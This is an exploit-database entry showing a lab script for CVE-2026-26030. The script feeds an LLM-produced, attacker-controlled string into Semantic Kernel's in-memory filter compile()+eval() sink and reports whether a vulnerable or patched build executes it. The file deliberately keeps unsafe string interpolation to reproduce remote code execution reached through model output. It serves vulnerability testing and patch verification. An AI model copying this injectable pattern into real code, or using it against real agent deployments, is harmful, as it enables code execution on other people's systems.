Exploit databaseDownload repository ZIP
GH-568417e895b2c2b47893c2c32321a505
inertfluid/sk-cve-2026-26030-lab
Sources for CVE-2026-26030
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
inertfluid/sk-cve-2026-26030-labRevision ad263bc8e86e
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
demo-ui/run_filter.py
Python · 1,776 bytes"""Run the genuine vulnerable SK filter eval in a clean process.
The live server can't execute the RCE itself: its async LLM/httpx threads (and an
asyncio loop) poison GUI launch via fork(), so os.system silently no-ops there.
This process never touches httpx and runs no event loop, so the real exploit runs.
This is the exact CVE code path: InMemoryCollection._parse_and_validate_filter is
the compile()+eval() sink, and calling the returned lambda on a record is what
_get_filtered_records/_run_filter do per row. Argv: the attacker-controlled `team`
string (verbatim from the LLM). Exit 0 if the filter executed (vulnerable build);
3 if the validator blocked it (patched).
"""
import sys
from types import SimpleNamespace
from semantic_kernel.connectors.in_memory import InMemoryCollection
class _Stub:
# The validator only reads these two ClassVars; stub avoids pydantic __init__.
allowed_filter_ast_nodes = InMemoryCollection.allowed_filter_ast_nodes
allowed_filter_functions = InMemoryCollection.allowed_filter_functions
_parse_and_validate_filter = InMemoryCollection._parse_and_validate_filter
def main(team: str) -> None:
# INSECURE: model-controlled `team` interpolated straight into the filter.
filter_str = f"lambda x: x.team == '{team}'"
func = _Stub()._parse_and_validate_filter(filter_str) # compile()+eval() sink
# Record must NOT equal the benign prefix, or `x.team == 'platform'` short-
# circuits the `or` and the gadget never runs.
func(SimpleNamespace(team="__no_match__")) # _run_filter calls this per record
if __name__ == "__main__":
try:
main(sys.argv[1])
except Exception as e:
print(f"blocked: {type(e).__name__}: {e}", file=sys.stderr)
sys.exit(3)
sys.exit(0)